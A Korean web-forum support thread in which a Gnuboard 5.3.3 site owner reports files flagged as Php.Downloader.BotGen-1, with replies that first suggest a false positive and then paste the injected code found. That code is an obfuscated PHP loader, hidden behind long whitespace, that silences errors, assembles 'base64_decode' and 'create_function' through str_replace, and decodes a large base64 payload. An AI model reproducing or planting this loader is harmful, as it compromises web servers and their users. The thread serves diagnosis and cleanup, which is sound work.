파일 바이러스 감염

파일 바이러스 감염

QA

파일 바이러스 감염

답변 3

본문

그누보드 5.3.3 버전을 해외 호스팅 업체의 서버에서 사용하고 있습니다.

실제 사용하려고 테스트 중이었는데 파일에 바이스러스(Php.Downloader.BotGen-1)가 감염되었다고 메일이 와서 확인해보니 정말 이상한 코드가 포함되어 있더군요. 해당 업체에 따르면 제사 사용하는 CMS가 보안이 취약하다고 하는데 어최신 버전은 이런 문제가 없는지요?

 

 

\adm\index.php: Php.Downloader.BotGen-1 FOUND
\adm\sms_admin\config.php: Php.Downloader.BotGen-1 FOUND
\config.php: Php.Downloader.BotGen-1 FOUND
\index.php: Php.Downloader.BotGen-1 FOUND
\install\index.php: Php.Downloader.BotGen-1 FOUND
\mobile\index.php: Php.Downloader.BotGen-1 FOUND
\plugin\editor\cheditor5\imageUpload\config.php: Php.Downloader.BotGen-1 FOUND
\plugin\editor\smarteditor2\photo_uploader\popup\php\index.php: Php.Downloader.BotGen-1 FOUND
\plugin\sms5\index.php: Php.Downloader.BotGen-1 FOUND
\plugin\sns\facebook\tests\bootstrap.php: Php.Downloader.BotGen-1 FOUND
\plugin\sns\twitter\index.php: Php.Downloader.BotGen-1 FOUND
\plugin\social\config.php: Php.Downloader.BotGen-1 FOUND
\plugin\social\includes\functions.php: Php.Downloader.BotGen-1 FOUND
\plugin\social\index.php: Php.Downloader.BotGen-1 FOUND
\theme\basic\index.php: Php.Downloader.BotGen-1 FOUND
\theme\basic\mobile\index.php: Php.Downloader.BotGen-1 FOUND

이 질문에 댓글 쓰기 :

답변 3

오진 같은데요?

어떤 코드가 보안에 취약한지 메일을 보내보세요.

그리고 해외 호스팅 사용시 언어셋 차이에 따른 바이러스 오진결과가 나오기도 합니다.

그누보드5.4 사용하시면 문제가 없을 겁니다.

 

해당 서버에 PHP Malware Scanner 를 이용해 점검을 한번 해 보세요.

 

https://www.phpclasses.org/package/11074-PHP-Scan-PHP-files-to-find-malicious-code.html

실제로 파일을 열어 봤는데 아래와 같은 코드가 추가되어 있는 것을 볼수 있었습니다.

 

<?php                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     _reporting(0); @ini_set('display_errors', 0);  @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('error_reporting', 0); @ini_set('display_startup_errors', 0);function  ToSJa1QEZFVIthfxHCBC6($Is8og439q,$z9po05TQA,$MUMuhjXJL){return str_replace($Is8og439q,$z9po05TQA,$MUMuhjXJL);} function  sdzwe5DAUwgcX6O3($Is8og439q,$z9po05TQA,$MUMuhjXJL){return str_replace($Is8og439q,$z9po05TQA,$MUMuhjXJL);} function  s2QrBZMfzhvwXWigD8YqSY($Is8og439q,$z9po05TQA,$MUMuhjXJL){return str_replace($Is8og439q,$z9po05TQA,$MUMuhjXJL);} $O9KBEcpT1Z4ll8O5EGqJ0Faj = 'bN2fAkLxkmYOoexg3ssfq6aaN2fAkLxkmYOoexg3ssfq6asN2fAkLxkmYOoexg3ssfq6aeN2fAkLxkmYOoexg3ssfq6a6N2fAkLxkmYOoexg3ssfq6a4N2fAkLxkmYOoexg3ssfq6a_N2fAkLxkmYOoexg3ssfq6adN2fAkLxkmYOoexg3ssfq6aeN2fAkLxkmYOoexg3ssfq6acN2fAkLxkmYOoexg3ssfq6aoN2fAkLxkmYOoexg3ssfq6adN2fAkLxkmYOoexg3ssfq6ae'; $O9KBEcpT1Z4ll8O5EGqJ0Faj = s2QrBZMfzhvwXWigD8YqSY('N2fAkLxkmYOoexg3ssfq6a','',$O9KBEcpT1Z4ll8O5EGqJ0Faj); $hVGidB9zilH = 'cXrutWuCIjuNKFprXrutWuCIjuNKFpeXrutWuCIjuNKFpaXrutWuCIjuNKFptXrutWuCIjuNKFpeXrutWuCIjuNKFp_XrutWuCIjuNKFpfXrutWuCIjuNKFpuXrutWuCIjuNKFpnXrutWuCIjuNKFpcXrutWuCIjuNKFptXrutWuCIjuNKFpiXrutWuCIjuNKFpoXrutWuCIjuNKFpn'; $hVGidB9zilH = s2QrBZM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Ym1Fd2NFdFNlbXg1VTFWUmQxb3lTWHBSYlhocFltczFObGxyV1RWTmJIQlpVMjVDWVdKdGRIWlRhMlJUWVVkU1NGSllUa3BSTVVvMldWWmthMlJWZUVSUlYzUnFVMFphY0ZsclpITmhiR2Q1WkVkNGJGWnFiRFZYYkdoT1l6QnNSazlXUmxOV1ZGWlZWbFJDTkZwc1JsWmxSV2hWVFZSc1ZWVXdWa1psUlhSVll6QjBSRlZYZUhkWGJXeHVZVEpKZVdNeVpGRldSRUp1VkZaT2MwNHdUbTVoTUhCRVYwVndjMXBGYUZkbFYwcHdVV3BDYW1Kc1duTlVNMlIyVTJ0T1dVMUhaR0ZXTTJnMlYyeE9RMDR3VG01aE1IQkVWMFZ3YzFwRmFGZGxWMHB3VVcweFdsWXphRFpYYkZKNlV6Qk9VbUpFYkVSYU1uYzFVVEkwZDFNeVJsaFhWMlJNVVRCYWRGcEdZekZoYlZKSVlraGFhV0pFYkhOYVZXUnpaVzFTU1ZSWE9VcGhNVXBWVlZaV2EyRXhjSFJhUjFwWFRXcHNOVmxVUlRWaE1YQllWRzVhWVZJeFZuQlRNVTV6VGpCT2JtSkhNV3RXZWxaeFdrVmtjMlJ0U25CUmExWldUVVZhU1ZkclpHRmliR2Q0V2toYWFtSllVbTFYYTJSWFlXMUplVlZ0ZUV4Uk1VcFZXa1ZvUzJOSFNuUlpNMEpzWkRJNWJsTlZUa0phTUU1VVZXeFNhMU5GY0hkWmJURnFXakZDVkZGdGJGcFhSVFZ6Vkcxd1UxcHNjRWhXYlhCcFRXeEtjMU13VGxOV1IxSkpVMjVDYVd

답변을 작성하시기 전에 로그인 해주세요.
QA 내용 검색
질문등록
filter #php ×
전체 15,429
© SIRSOFT
현재 페이지 제일 처음으로